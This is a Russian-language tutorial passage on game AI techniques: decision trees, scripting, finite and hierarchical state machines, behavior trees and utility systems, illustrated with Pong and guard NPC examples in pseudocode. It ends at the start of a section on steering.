Эта статья познакомит вас с широким диапазоном концепций искусственного интеллекта в играх («игрового ИИ»), чтобы вы понимали, какие инструменты можно использовать для решения задач ИИ, как они работают совместно и с чего можно начать их реализацию в выбранном движке.
Я буду предполагать, что вы знакомы с видеоиграми, немного разбираетесь в таких математических концепциях, как геометрия, тригонометрия и т.д. Большинство примеров кода будет записано псевдокодом, поэтому вам не потребуется знание какого-то конкретного языка.
Что же *такое* «игровой ИИ»?
============================
Игровой ИИ в основном занимается выбором действий сущности в зависимости от текущих условий. В традиционной литературе по ИИ называет это управлением "[интеллектуальными агентами](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%BB%D0%BB%D0%B5%D0%BA%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B3%D0%B5%D0%BD%D1%82)". Агентом обычно является персонаж игры, но это может быть и машина, робот или даже нечто более абстрактное — целая группа сущностей, страна или цивилизация. В любом случае это объект, следящий за своим окружением, принимающий на основании него решения и действующий в соответствии с этими решениями. Иногда это называют циклом «восприятие-мышление-действие» (Sense/Think/Act):
* Восприятие: агент распознаёт — или ему сообщают — информацию об окружении, которая может влиять на его поведение (например, находящиеся поблизости опасности, собираемые предметы, важные точки и так далее)
* Мышление: агент принимает решение о том, как поступить в ответ (например, решает, достаточно ли безопасно собрать предметы, стоит ли ему сражаться или лучше сначала спрятаться)
* Действие: агент выполняет действия для реализации своих решений (например, начинает двигаться по маршруту к врагу или к предмету, и так далее)
* … затем из-за действий персонажей ситуация изменяется, поэтому цикл должен повториться с новыми данными.
Задачи ИИ реального мира, особенно те, что актуальны сегодня, обычно сосредоточены на «восприятии». Например, беспилотные автомобили должны получать изображения находящейся перед ними дороги, комбинируя их с другими данными (радара и лидара) и пытаясь интерпретировать то, что они видят. Обычно эта задача решается машинным обучением, которое особо хорошо работает с большими массивами шумных данных реального мира (например с фотографиями дороги перед автомобилем или несколькими кадрами видео) и придаёт им какое-то значение, извлекая семантическую информацию, например «в 20 ярдах передо мной есть ещё одна машина». Такие задачи называются [задачами классификации](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8).
Игры необычны тем, что для извлечения этой информации им не нужна сложная система, поскольку она является неотъемлемой частью симуляции. Нет необходимости выполнять алгоритмы распознавания изображений, чтобы обнаружить врага перед собой; игра *знает*, что там есть враг и может передать эту информацию непосредственно процессу принятия решений. Поэтому «восприятие» в этом цикле обычно сильно упрощено, а вся сложность возникает в реализации «мышления» и «действия».
Ограничения разработки игрового ИИ
==================================
Игровой ИИ обычно принимает во внимание следующие ограничения:
* В отличие от алгоритма машинного обучения, он обычно не тренируется заранее; при разработке игры непрактично писать нейронную сеть для наблюдения за десятками тысяч игроков, чтобы найти наилучший способ играть против них, потому что игра ещё не выпущена и игроков у неё нет!
* Обычно предполагается, что игра должна развлекать и бросать игроку вызов, а не быть «оптимальной» — поэтому даже если и можно обучить агентов противостоять игрокам наилучшим образом, то чаще всего дизайнерам нужно от них совершенного другое.
* Часто к агентам предъявляют требование «реалистичного» поведения, чтобы игроки ощущали, что соревнуются с человекоподобными противниками. [Программа AlphaGo](https://en.wikipedia.org/wiki/AlphaGo_Zero) оказалась намного лучше, чем люди, но выбираемые ею ходы настолько далеки от традиционного понимания игры, что опытные противники говорили о ней как об игре против инопланетянина. Если игра симулирует противника-человека, то обычно это нежелательно, поэтому алгоритм нужно настроить таким образом, чтобы он принимал *правдоподобные* решения, а не *идеальные*.
* ИИ должен выполняться «в реальном времени». В этом контексте это означает, что алгоритм не может для принятия решения монополизировать ресурсы процессора на длительное время. Даже 10 миллисекунд на принятие решения — это слишком много, потому что большинство игр имеют всего 16-33 миллисекунды на выполнение всех операций для следующего кадра графики.
* В идеале хотя бы часть системы должна зависеть от данных, а не быть жёстко заданной, чтобы не владеющие программированием разработчики могли быстрее вносить изменения.
Узнав всё это, мы можем начать рассматривать чрезвычайно простые подходы к созданию ИИ, которые реализуют весь цикл «восприятие-мышление-действие» способами, обеспечивающими эффективность и позволяющими дизайнерам игры выбирать сложные поведения, похожие на действия человека.
Простое принятие решений
========================
Давайте начнём с очень простой игры, например с Pong. Задача игрока заключается в перемещении «ракетки», чтобы мячик отскакивал от неё, а не пролетал мимо. Правила похожи на теннисные — ты проигрываешь, если пропустил мяч. У ИИ есть относительно простая задача принятия решений о выборе направления движения ракетки.
Жёстко заданные условные конструкции
------------------------------------
Если бы мы хотели написать ИИ для управления ракеткой, то существует интуитивно понятное и простое решение — просто постоянно двигать ракетку так, чтобы она находилась под мячом. Когда мяч достигает ракетки, она уже находится в идеальном положении и может отбить его.
Простой алгоритм для этого, выраженный в псевдокоде, может быть таким:
```
в каждом кадре/обновлении, пока игра выполняется:
если мяч слева от ракетки:
двигать ракетку влево
иначе если мяч справа от ракетки:
двигать ракетку вправо
```
Если считать, что ракетка может двигаться с не меньшей скоростью, чем мяч, то это будет идеальный алгоритм для ИИ-игрока в Pong. В случаях, когда для обработки есть не так много данных «восприятия» и мало действий, которые может выполнить агент, нам не требуется ничего более сложного.
Этот подход так прост, что в нём едва просматривается весь цикл «восприятие-мышление-действие». Но он *есть*.
* «Восприятие» — это два оператора «если». Игра знает, где находятся мяч и ракетка. Поэтому ИИ запрашивает у игры их позиции, таким образом «чувствуя», находится ли мяч слева или справа.
* «Мышление» тоже встроено в два оператора «если». В них находится два решения, которые в данном случае взаимно исключают друг друга, приводящие к выбору одного из трёх действий — двигать ракетку влево, двигать её вправо или ничего не делать, если ракетка уже расположена верно.
* «Действие» заключается в конструкциях «двигать ракетку влево» или «двигать ракетку вправо». В зависимости от способа реализации игры это может принимать вид мгновенного перемещения положения ракетки или задания скорости и направления ракетки, чтобы её можно было сдвинуть должным образом в другом коде игры.
Подобные подходы часто называются «реактивными» (reactive), потому что здесь существует простой набор правил (в нашем случае это операторы «если» в коде), который реагирует на состояние мира и мгновенно принимает решение о том, как действовать.
Деревья решений
---------------
Этот пример с Pong на самом деле аналогичен формальной концепции ИИ под названием "[дерево решений](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B9)". Это система, в которой решения выстроены в форме дерева и алгоритм должен обходить его, чтобы достичь «листа», содержащего окончательное решение о выбираемом действии. Давайте нарисуем графическое представление дерева решений для алгоритма ракетки Pong с помощью блок-схемы:
Видно, что она напоминает дерево, только перевёрнутое!
Каждую часть дерева решений обычно называют «узлом», потому что в ИИ для описания подобных структур используется теория графов. Каждый узел может быть одного из двух типов:
1. Узлы решений: выбор из двух альтернатив на основании проверки какого-то условия. Каждая альтернатива представлена в виде собственного узла;
2. Конечные узлы: выполняемое действие, представляющее собой окончательное решение, принимаемое деревом.
Алгоритм начинает с первого узла, назначаемого «корнем» дерева, после чего или принимает решение, в какой дочерний узел перейти на основании условия, или выполняет хранящееся в узле действие, после чего прекращает работу.
На первый взгляд преимущество дерева решений неочевидно, потому что оно выполняет абсолютно ту же работу, что и операторы «если» из предыдущего раздела. Но тут есть очень общая система, в которой каждое решение имеет ровно 1 условие и 2 возможных результата, что позволяет разработчику строить ИИ из данных, представляющих решения в дереве, и избегая жёсткого прописывания его в коде. Легко представить простой формат данных для описания подобного дерева:
| | | | |
| --- | --- | --- | --- |
| **Номер узла** | **Решение (или «конец»)** | **Действие** | **Действие** |
| 1 | Мяч слева от ракетки? | Да? Проверить узел 2 | Нет? Проверить узел 3 |
| 2 | *Конец* | Сдвинуть ракетку влево |
| 3 | Мяч справа от ракетки? | Да? Перейти к узлу 4 | Нет? Перейти к узлу 5 |
| 4 | *Конец* | Сдвинуть ракетку вправо |
| 5 | *Конец* | Ничего не делать |
С точки зрения кода, нам нужно заставить систему считать каждую из этих строк, создать для каждой узел, прицепить логику решений на основании второго столбца и прицепить дочерние узлы на основании третьего и четвёртого столбцов. Нам по-прежнему нужно вручную жёстко прописывать условия и действия, но теперь мы можем вообразить более сложную игру, в которой можно добавлять новые решения и действия, а также настраивать весь ИИ изменением единственного текстового файла, в котором содержится определение дерева. Мы можем передать файл геймдизайнеру, который получит возможность настраивать поведение без необходимости перекомпиляции игры и изменения кода — при условии, что в коде уже есть полезные условия и действия.
Деревья решений могут быть очень мощными, когда их конструируют автоматически на основе большого множества примеров (например, с помощю [алгоритма ID3](https://ru.wikipedia.org/wiki/ID3_(%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC))). Он делает их эффективным и высокопроизводительным инструментом для классификации ситуации на основании входящих данных, но эта тема находится за пределами области создания дизайнерами простых систем выбора действий для агентов.
Скриптинг
---------
Выше мы рассмотрели систему дерева решений, в которой используются заранее созданные условия и действия. Разработчик ИИ может перестраивать дерево любым нужным ему образом, но он должен рассчитывать на то, что программист уже создал все необходимые ему условия и действия. А что, если мы дадим дизайнеру более мощные инструменты, позволяющие ему создавать собственные условия, а может и свои действия?
Например, вместо того, чтобы заставлять кодера писать условия «Мяч слева от ракетки?» и «Мяч справа от ракетки?», он может просто создать систему, в которой дизайнер самостоятельно пишет условия проверки этих значений. В результате данные дерева решений могут выглядеть вот так:
| | | | |
| --- | --- | --- | --- |
| **Номер узла** | **Решение (или «конец»)** | **Решение** | **Действие** |
| 1 | **ball.position.x < paddle.position.x** | Да? Проверить узел 2 | Нет? Проверить узел 3 |
| 2 | *Конец* | Двигать ракетку влево |
| 3 | **ball.position.x > paddle.position.x** | Да? Проверить узел 4 | Нет? Проверить узел 5 |
| 4 | *Конец* | Двигать ракетку вправо |
| 5 | *Конец* | Ничего не делать |
То же самое, что и раньше, но теперь в решениях есть собственный код, похожий на условную часть оператора «если». Код будет считывать из второго столбца узлы решений и вместо поиска конкретного условия (например, «мяч слева от ракетки?»), вычислять условное выражение и возвращать true или false. Это можно реализовать встраиванием *скриптового языка*, наподобие Lua или Angelscript, который позволяет разработчику брать объекты из игры (например мяч и ракетку) и создавать переменные, доступные из скрипта (например ball.position). На скриптовом языке обычно проще писать, чем на C++, и он не требует полного этапа компиляции, поэтому хорошо подходит для внесения быстрых изменений в логику игры и позволяет менее технически подкованным участникам команды создавать игровые функции без вмешательства кодера.
В показанном выше примере скриптовый язык используется только для вычисления условного выражения, но можно также описывать в скрипте и конечные действия. Например, данные действия вида «двигать ракетку вправо» могут стать конструкцией скрипта наподобие `ball.position.x += 10`, то есть действие тоже задаётся в скрипте без написания программистом кода функции MovePaddleRight.
Если сделать ещё один шаг вперёд, то можно (и это часто делается) дойти до логического завершения и написать всё дерево решений на скриптовом языке, а не как список строк данных. Это будет код, который похож на показанные выше условные конструкции, только они не «жёстко заданы» — они находятся во внешних файлах скриптов, то есть их можно изменять без рекомпиляции всей программы. Часто даже возможно изменять файл скрипта во время выполнения игры, что позволяет разработчикам быстро тестировать различные подходы к реализации ИИ.
Реакция на события
------------------
Показанные выше примеры предназначены для покадрового выполнения в простых играх наподобие Pong. Идея заключается в том, что они непрерывно выполняют цикл «восприятие-мышление-действие» и продолжают действовать на основании последнего состояния мира. Но в более сложных играх вместо вычисления всего чаще разумнее реагировать на «события», то есть на важные изменения в окружении игры.
Это не особо применимо к Pong, поэтому давайте выберем другой пример. Представьте игру-шутер, в которой враги неподвижны, пока не обнаружат игрока, после чего начинают выполнять действия в зависимости от своего класса — рукопашные бойцы могут броситься к игроку, а снайперы остаются на расстоянии и пытаются прицелиться. По сути это является простой реактивной системой — «если видим игрока, то что-то делаем» — но её можно логически разделить на событие («видим игрока») и реакцию (выбираем отклик и выполняем его).
Это возвращает нас к циклу «восприятие-мышление-действие». У нас может быть фрагмент кода, являющийся кодом «восприятия», который проверяет в каждом кадре, видит ли враг игрока. Если нет, то ничего не происходит. Но если он видит, то это создаёт событие «видим игрока». В коде будет отдельная часть, в которой говорится: «когда происходит событие „видим игрока“, то делаем „xyz“», а «xyz» — это любой отклик, которым мы хотим обрабатывать мышление и действие. Для персонажа-бойца можно подключить к событию «видим игрока» отклик «бежать и атаковать». Для снайпера мы подключим к этому событию функцию отклика «спрятаться и прицелиться». Как и в предыдущих примерах, мы можем создавать такие ассоциации в файле данных, чтобы их можно было быстро изменять без пересборки движка. Кроме того, возможно (и это часто используется) писать такие функции откликов на скриптовом языке, чтобы могли создавать сложные решения при возникновении событий.
Улучшенное принятие решений
===========================
Хотя простые реактивные системы очень мощны, существует множество ситуаций, когда их недостаточно. Иногда нам нужно принимать разные решения на основании того, чем занимается агент в текущий момент, и представить это в виде условия бывает неудобно. Иногда просто существует слишком много условий, чтобы эффективным образом представить их в виде дерева решений или скрипта. Иногда нам нужно думать заранее и оценивать, как изменится ситуация, прежде чем принимать решение о следующем ходе. Для таких задач нужны более сложные решения.
Конечные автоматы
-----------------
[Конечный автомат](https://www.gamedev.net/articles/programming/general-and-gameplay-programming/state-machines-in-games-r2982/) (КА, finite state machine, FSM) — это способ сказать иными словами, что какой-то объект — допустим, один из наших ИИ-агентов — в данный момент находится в одном из нескольких возможных состояний, и что он может переходить из одного состояния в другое. Существует конечное количество таких состояний, отсюда и название. Примером из реального мира может служить множество огней светофора, переключающееся с красного на жёлтый, потом на зелёный, и снова обратно. В разных местах есть разные последовательности огней, но принцип одинаков — каждое состояние что-то обозначает («стой», «едь», «стой, если возможно» и т.д.), в любой момент времени существует только одно состояние, а переходы между ними основаны на простых правилах.
Это хорошо применимо к NPC в играх. У охранника могут быть следующие чётко разделённые состояния:
* Патрулирование
* Нападение
* Бегство
И мы можем придумать следующие правила для перехода между состояниями:
* Если охранник видит противника, он нападает
* Если охранник нападает, но больше не видит противника, то возвращается к патрулированию
* Если охранник нападает, но его серьёзно ранили, то он сбегает
Эта схема достаточно проста и мы можем записать её жёстко заданными операторами «если» и переменной, в которой будет храниться состояние охранника и различные проверки — наличие поблизости врагов, уровень здоровья охранника и т.д. Но представьте, что нам нужно добавить ещё несколько состояний:
* Ожидание (между патрулированием)
* Поиск (когда ранее замеченный враг спрятался)
* Бегство за помощью (когда враг замечен, но он слишком силён, чтобы сражаться с ним в одиночку)
И варианты выбора, доступные в каждом состоянии обычно ограничены — например, охранник, вероятно, не захочет искать потерянного из виду врага, если его здоровье слишком мало.
Рано или поздно длинный список «if then » становится слишком неуклюжим, и помочь здесь может формализованный подход к реализации состояний и к переходов между ними. Для этого мы рассматриваем все состояния и под каждым состоянием пперечисляем все переходы к другим состояниям вместе с необходимыми для них условиями. Также нам нужно указать исходное состояние, чтобы мы знали, с чего начать, прежде чем применять другие условия.
| | | |
| --- | --- | --- |
| **Состояние** | **Условие перехода** | **Новое состояние** |
| Ожидание | ожидал в течение 10 секунд | Патрулирование |
| враг видим и враг слишком силён | Поиск помощи |
| враг видим и здоровья много | Нападение |
| враг видим и здоровья мало | Бегство |
| Патрулирование | завершён маршрут патрулирования | Ожидание |
| враг видим и враг слишком силён | Поиск помощи |
| враг видим и здоровья много | Нападение |
| враг видим и здоровья мало | Бегство |
| Нападение | врага не видно | Ожидание |
| здоровья мало | Бегство |
| Бегство | врага не видно | Ожидание |
| Поиск | искал в течение 10 секунд | Ожидание |
| враг видим и враг слишком силён | Поиск помощи |
| враг видим и здоровья много | Нападение |
| враг видим и здоровья мало | Бегство |
| Поиск помощи | друг видим | Нападение |
| *Начальное состояние: ожидание* |
Такая схема называется таблицей перехода между состояниями. Она является сложным (и непривлекательным) способом представления КА. По этим данным также можно нарисовать диаграмму и получить сложное графическое представление того, как может выглядеть поведение NPC.
Она ухватывает саму суть принятия решений для агента на основании ситуации, в которой он находится. Каждая стрелка обозначает переход между состояниями, если условие рядом со стрелкой истинно.
При каждом обновлении (или «цикле») мы проверяем текущее состояние агента, просматриваем список переходов и если условие перехода соблюдено, то переходим к новому состоянию. Состояние «Ожидание» проверяет в каждом кадре или цикле, истекло ли время 10-секундного таймера. Если истекло, то оно запускает переход к состоянию «Патрулирование». Аналогичным образом состояние «Нападение» проверяет, не мало ли здоровья у агента, и если это так, то выполняет переход в состояние «Бегство».
Так обрабатываются переходы между состояниями — но как насчёт поведений, связанных с самими состояниями? С точки зрения выполнения самих действий для состояния обычно существует два вида прикрепления действий к КА:
1. Действия для текущего состояния выполняются периодически, например, в каждом кадре или «цикле».
2. Действия выполняются при переходе от одного состояния к другому.
Пример первого вида: состояние «Патрулирование» в каждом кадре или цикле продолжает перемещать агента по маршруту патрулирования. Состояние «Нападение» в каждом кадре или цикле пытается начать атаку или переместить в позицию, откуда она возможна. И так далее.
Пример второго вида: рассмотрим переход «если враг видим и враг слишком силён → Поиск помощи». Агент должен выбрать, куда двигаться для поиска помощи, и хранить эту информацию так, чтобы состояние «Поиск помощи» знало, куда двигаться. Аналогично, в состоянии «Поиск помощи», когда помощь найдена, агент снова возвращается в состояние «Нападение», но в этот момент он хочет сообщить дружественному персонажу об угрозе, поэтому может существовать действие «сообщить другу об опасности», выполняемое при этом переходе.
И здесь мы снова можем рассмотреть эту систему с точки зрения «восприятия-мышления-действия». Восприятие встроено в данные, используемые логикой переходов. Мышление встроено в переходы, доступные для каждого состояния. А действие выполняется действиями, совершаемыми периодически в состоянии или при переходе между состояниями.
Эта простая система хорошо работает, хотя иногда постоянный опрос условий перехода может быть затратным процессом. Например, если каждому агенту нужно выполнять в каждом кадре сложные вычисления для определения видимости врагов и принятия решения о переходе от патрулирования к нападению, то на это может уходить много процессорного времени. Как мы видели раньше, можно воспринимать важные изменения состояния мира как «события», которые обрабатываются после того, как они произошли. Поэтому вместо того, чтобы в каждом кадре явным образом проверять условие перехода «может ли мой агент увидеть игрока?», мы можем создать отдельную систему видимости, выполняющую эти проверки чуть менее часто (например, 5 раз в секунду), и создающую событие «игрок видим» при срабатывании проверки. Оно передаётся конечному автомату, у которого теперь есть условие перехода «Получено событие „игрок видим“», и которое реагирует на него соответствующим образом. Получившееся поведение будет аналогичным, за исключением едва заметной (и даже увеличивающей реалистичность) задержки реакции, но производительность увеличится благодаря переносу «восприятия» в отдельную часть программы.
Иерархические конечные автоматы
-------------------------------
Всё это хорошо, но с большими конечными автоматами становится очень неудобно работать. Если мы хотим расширить состояние «Нападение», заменив его на отдельные состояния «Рукопашная атака» и «Атака издалека», то нам придётся изменять входящие переходы от каждого состояния, настоящего и будущего, которому нужна возможность перехода в состояние «Нападение».
Вероятно, вы также заметили, что в нашем примере есть много дублируемых переходов. Большинство переходов в состоянии «Ожидание» идентичны переходам в состоянии «Патрулирование», и было бы неплохо избежать дублирования этой работы, особенно если мы захотим добавить ещё больше похожих состояний. Будет логично соединить «Ожидание» и «Патрулирование» в какую-нибудь группу «Небоевые состояния», имеющую только один общий набор переходов в боевые состояния. Если мы представим эту группу как состояние, то сможем рассматривать «Ожидание» и «Патрулирование» «подсостояниями» этого состояния, что позволит нам более эффективно описывать всю систему. Пример использования отдельной таблицы переходов для нового небоевого подсостояния:
***Основные состояния:***
| | | |
| --- | --- | --- |
| **Состояние** | **Условие перехода** | **Новое состояние** |
| Небоевые | враг видим и враг слишком силён | Поиск помощи |
| враг видим и здоровья много | Нападение |
| враг видим и здоровья мало | Бегство |
| Нападение | врага не видно | Небоевое |
| мало здоровья | Бегство |
| Бегство | врага не видно | Небоевое |
| Поиск | искал в течение 10 секунд | Небоевое |
| враг видим и враг слишком силён | Поиск помощи |
| враг видим и здоровья много | Нападение |
| враг видим и здоровья мало | Бегство |
| Поиск помощи | друг видим | Нападение |
| *Начальное состояние: небоевое* |
***Небоевое состояние:***
| | | |
| --- | --- | --- |
| **Состояние** | **Условие перехода**
| **Новое состояние**
|
| Ожидание | ожидал в течение 10 секунд | Патрулирование |
| Патрулирование | завершил маршрут патрулирования | Ожидание |
| *Начальное состояние: ожидание* |
И в виде диаграммы:
По сути это та же система, только теперь здесь есть небоевое состояние, заменяющее «Патрулирование» и «Ожидание», которое само по себе является конечным автоматом с двумя подсостояниями патрулирования и ожидания. Если каждое состояние потенциально может содержать в себе конечный автомат подсостояний (а эти подсостояния тоже могут содержать в себе собственный конечный автомат, и так далее), то у нас получился иерархический конечный автомат (Hierarchical Finite State Machine, HFSM). Группируя небоевые поведения, мы отсекаем кучу излишних переходов, и можем сделать то же самое для любых новых состояний, которые могут иметь общие переходы. Например, если в будущем мы расширим состояние «Нападение» до состояний «Рукопашная атака» и «Атака снарядом», они могут быть подсостояниями, переход между которыми выполняется на основании расстояния до врага и наличия боеприпасов, имеющими общие выходные переходы на основании уровней здоровья и прочего. Таким образом, минимумом дублированных переходов можно представить сложные поведения и подповедения.
Деревья поведений
-----------------
С помощью HFSM мы получили способность создавать достаточно сложные множества поведений довольно интуитивно понятным способом. Однако сразу заметно, что принятие решений в виде правил переходов тесно связано с текущим состоянием. Во многих играх требуется именно это. А аккуратное использование иерархии состояний позволяет снизить количество дублируемых переходов. Но иногда нам нужны правила, применяемые вне зависимости от текущего состояния, или применяемые почти во всех состояниях. Например, если здоровье агента снизилось до 25%, он может захотеть убежать, вне зависимости от того, находится ли он в бою, или ожидает, или говорит, или находится в любом другом состоянии. Мы не хотим запоминать, что нужно дописывать это условие к каждому состоянию, которое мы, возможно, добавим персонажу в будущем. Чтобы когда дизайнер позже скажет, что хочет изменить пороговое значение с 25% до 10%, нам не пришлось бы перебирать и изменять каждый соответствующий переход.
Идеальной в такой ситуации была система, в которой решения о том, в каком состоянии находиться, существуют отдельно от самих состояний, чтобы мы могли изменить всего лишь один элемент, а переходы всё равно обрабатывались правильно. Именно здесь нам пригодятся деревья поведений.
Существует несколько способов реализации деревьев поведений, но суть для большинства одинакова и очень похожа на упомянутое выше дерево решений: алгоритм начинает работу с «корневого узла», и в дереве есть узлы, обозначающие решения или действия. Однако здесь существуют ключевые отличия:
* Узлы теперь возвращают одно из трёх значений: «успешно» (если работа выполнена), «безуспешно» (если выполнить её не удалось), или «выполняется» (если работа всё ещё выполняется и полностью не закончилась успехом или неудачей).
* Теперь у нас нет узлов решений, в которых мы выбираем из двух альтернатив, а есть узлы-«декораторы», имеющие единственный дочерний узел. Если они «успешны», то выполняют свой единственный дочерний узел. Узлы-декораторы часто содержат условия, определяющие, окончилось ли выполнение успехом (значит, нужно выполнить их поддерево) или неудачей (тогда делать ничего не нужно). Также они могут возвращать «выполняется».
* Выполняющие действия узлы возвращают значение «выполняется», чтобы обозначить происходящие действия.
Небольшой набор узлов можно скомбинировать, создав большое количество сложных поведений, и часто такая схема бывает очень краткой. Например, мы можем переписать иерархический КА охранника из предыдущего примера в виде дерева поведений:
При использовании этой структуры нет необходимости в явном переходе из состояний «Ожидание» или «Патрулирование» в состояния «Нападение» или любые другие — если дерево обходится сверху вниз и слева направо, то правильное решение принимается на основании текущей ситуации. Если враг видим и у персонажа мало здоровья, то дерево завершит выполнение на узле «Бегство», вне зависимости от предыдущего выполненного узла («Патрулирование», «Ожидание», «Нападение» и т.д.).
Можно заметить, что у нас пока нет перехода для возврата в состояние «Ожидание» из «Патрулирования» — и тут нам пригодятся безусловные декораторы. Стандартным узлом-декоратором является «Повтор» (Repeat) — у него нет условий, он просто перехватывает дочерний узел, возвращающий «успешно» и снова выполняет дочерний узел, возвращая «выполняется». Новое дерево выглядит так:
Деревья поведения довольно сложны, потому что часто существует множество различных способов составления дерева, а поиск правильной комбинации декоратора и составляющих узлов может быть хитрой задачей. Существуют также проблемы с тем, как часто нужно проверять дерево (хотим ли мы обходить его каждый кадр или когда происходит что-то, способное повлиять на условия?) и со способом хранения состояния относительно узлов (как мы узнаем, что ждали 10 секунд? Как мы узнаем, сколько узлов было выполнено в последний раз, чтобы правильно завершить последовательность?) Поэтому существует множество разных реализаций. Например, в некоторых системах наподобие системы деревьев поведений Unreal Engine 4 узлы-декораторы заменены на строковые декораторы, которые проверяют дерево только при изменении условий декоратора и предоставляют «сервисы», которые можно подключить к узлам и обеспечивать периодические обновления даже когда дерево не проверяется заново. Деревья поведений — это мощные инструменты, но изучение их правильного использования, особенно с учётом множества разных реализаций, может быть пугающей задачей.
Системы на основе полезности (Utility)
--------------------------------------
В некоторых играх требуется существование множества различных действий, поэтому им требуются более простые централизованные правила переходов, но при этом не требуется мощь полной реализации дерева поведений. Вместо создания явного набора выборов или дерева потенциальных действий с подразумеваемыми резервными позициями, задаваемыми структурой дерева, возможно, лучше просто исследовать все действия и выбирать то, которое наиболее применимо прямо сейчас?
Именно этим и занимается системы на основе полезности — это такие системы, в которых в распоряжении агента есть множество действий, и он выбирает выполнение одного на основании относительной *полезности* каждого действия. Полезность здесь — это произвольная мера важности или желательности для агента выполнения этого действия. Благодаря написанию функций полезности для вычисления полезности действия на основании текущего состояния агента и его окружения, агент может проверять значения полезности и выбирать наиболее подходящее в данный момент состояние.
Это тоже очень сильно напоминает конечный автомат, за исключением того, что переходы определяются оценкой каждого потенциального состояния, в том числе и текущего. Стоит заметить, что в общем случае мы выбираем переход к наиболее ценному действию (или нахождение в нём, если мы уже выполняем это действие), но для большей вариативности это может быть взвешенный случайный выбор (отдающий приоритет самому ценному действию, но допускающий выбор других), выбор случайного действия из пяти лучших (или любого другого количества), и т.д.
Стандартная система на основе полезности назначает некий произвольный интервал значений полезности — допустим от 0 (совершенно нежелательно) до 100 (абсолютно желательно), а у каждого действия может быть набор факторов, влияющих способ вычисления значения. Возвращаясь к нашему примеру с охранником, можно представить нечто подобное:
| | |
| --- | --- |
| **Действие**
| **Вычисление полезности**
|
| *Поиск помощи*
| Если враг видим и враг силён, а здоровья мало, то возвращаем 100, в противном случае возвращаем 0
|
| *Бегство*
| Если враг видим и здоровья мало, то возвращаем 90, иначе возвращаем 0 |
| *Нападение*
| Если враг видим, возвращаем 80
|
| *Ожидание*
| Если находимся в состоянии ожидания и уже ждём 10 секунд, возвращаем 0, в противном случае 50
|
| *Патрулирование*
| Если находимся в конце маршрута патрулирования, возвращаем 0, в противном случае 50 |
Один из самых важных аспектов этой схемы заключается в том, что переходы между действиями выражены совершенно неявно — из любого состояния можно совершенно законно перейти к любому другому. Кроме того, приоритеты действий подразумеваются в возвращаемых значениях полезности. Если враг видим, и если он силён, а здоровья у персонажа мало, то ненулевые значения возвращают *Бегство* и *Поиск помощи*, но *Поиск помощи* всегда имеет более высокую оценку. Аналогичным образом, небоевые действия никогда не возвращают больше 50, поэтому их всегда побеждает боевое действие. С учётом этого создаются действия и их вычисления полезности.
В нашем примере действия возвращают или постоянное значение полезности, или одно из двух постоянных значений полезности. В более реалистичной системе используется возврат значения из *непрерывного* интервала значений. Например действие *Бегство* может возвращать более высокие значения полезности, если здоровье агента ниже, а действие *Нападение* может возвращать более низкие значения полезности, если враг слишком силён. Это позволит *Бегству* иметь приоритет перед *Нападением* в любой ситуации, когда агент чувствует, что ему недостаточно здоровья, чтобы сражаться с врагом. Это позволяет изменять относительные приоритеты действий на основании любого количества критериев, что может сделать такой подход более гибким, чем дерево поведений или КА.
У каждого действия обычно есть несколько условий, влияющих на вычисление полезности. Чтобы не задавать всё жёстко в коде, можно записывать их на скриптовом языке или как серию математических формул, собранных вместе понятным способом. Гораздо больше информации об этом есть в [лекциях](http://intrinsicalgorithm.com/IAonAI/2013/02/both-my-gdc-lectures-on-utility-theory-free-on-gdc-vault/) и [презентациях](http://intrinsicalgorithm.com/IAonAI/2013/02/both-my-gdc-lectures-on-utility-theory-free-on-gdc-vault/) Дэйва Марка ([@IADaveMark](https://www.gamedev.net/profile/25417-iadavemark/)).
В некоторых играх, которые пытаются моделировать повседневную жизнь персонажа, например, в The Sims, добавляется ещё один слой вычислений, в котором у агента есть «стремления» или «мотивации», влияющие на значения полезности. Например, если у персонажа есть мотивация «Голод», то она со временем может увеличиваться, и вычисление полезности для действия «Поесть» будет возвращать всё более и более высокие значения, пока персонаж не сможет выполнить это действие, снизив уровень голода, а действие «Поесть» снижается до нулевого или околонулевого значения полезности.
Идея выбора действий на основе системы очков достаточно прямолинейна, поэтому очевидно, что можно использовать принятие решений на основе полезности в других процессах принятия решений ИИ, а не заменять их ею полностью. Дерево решений может запрашивать значение полезности своих двух дочерних узлов и выбирать узел с наибольшим значением. Аналогичным образом дерево поведений может иметь композитный узел полезности, который подсчитывает полезность, чтобы выбрать выполняемый дочерний узел.
Движение и навигация
====================
В наших предыдущих примерах были или простая ракетка, которой мы приказывали двигаться влево-вправо, или персонаж-охранник, которому всегда приказывали патрулировать или нападать. Но как именно нам управлять движением агента в течение промежутка времени? Как нам задавать скорость, избегать препятствий, планировать маршрут, когда до конечной точки нельзя добраться напрямую? Сейчас мы рассмотрим эту задачу.
Steering
--------
На самом простом уровне часто разумно работать с каждым агентом так, как будто у него есть значение скорости, определяющее скорость и направление его движения. Эта скорость может измеряться в метрах в секунду, в милях в час, в пикселях в секунду и так далее. Если вспомнить наш цикл «восприятие-мышление-действие», то можно представить, что «мышление» может выбирать скорость, после чего «действие» прикладывает эту скорость к агенту, перемещая его по миру. Обычно в играх есть система физики, выполняющая эту задачу самостоятельно, изучающая значение скорости каждой сущности и соответствующим образом меняющая позицию. Поэтому часто можно возложить такую работу на эту систему, оставив ИИ только задачу выбора скорости агента.
Если мы знаем, где хочет находиться агент, то нам нужно использовать нашу скорость для перемещения агента в этом направлении. В тривиальном виде у нас получится такое уравнение:
```
desired_travel = destination_position – agent_position
```
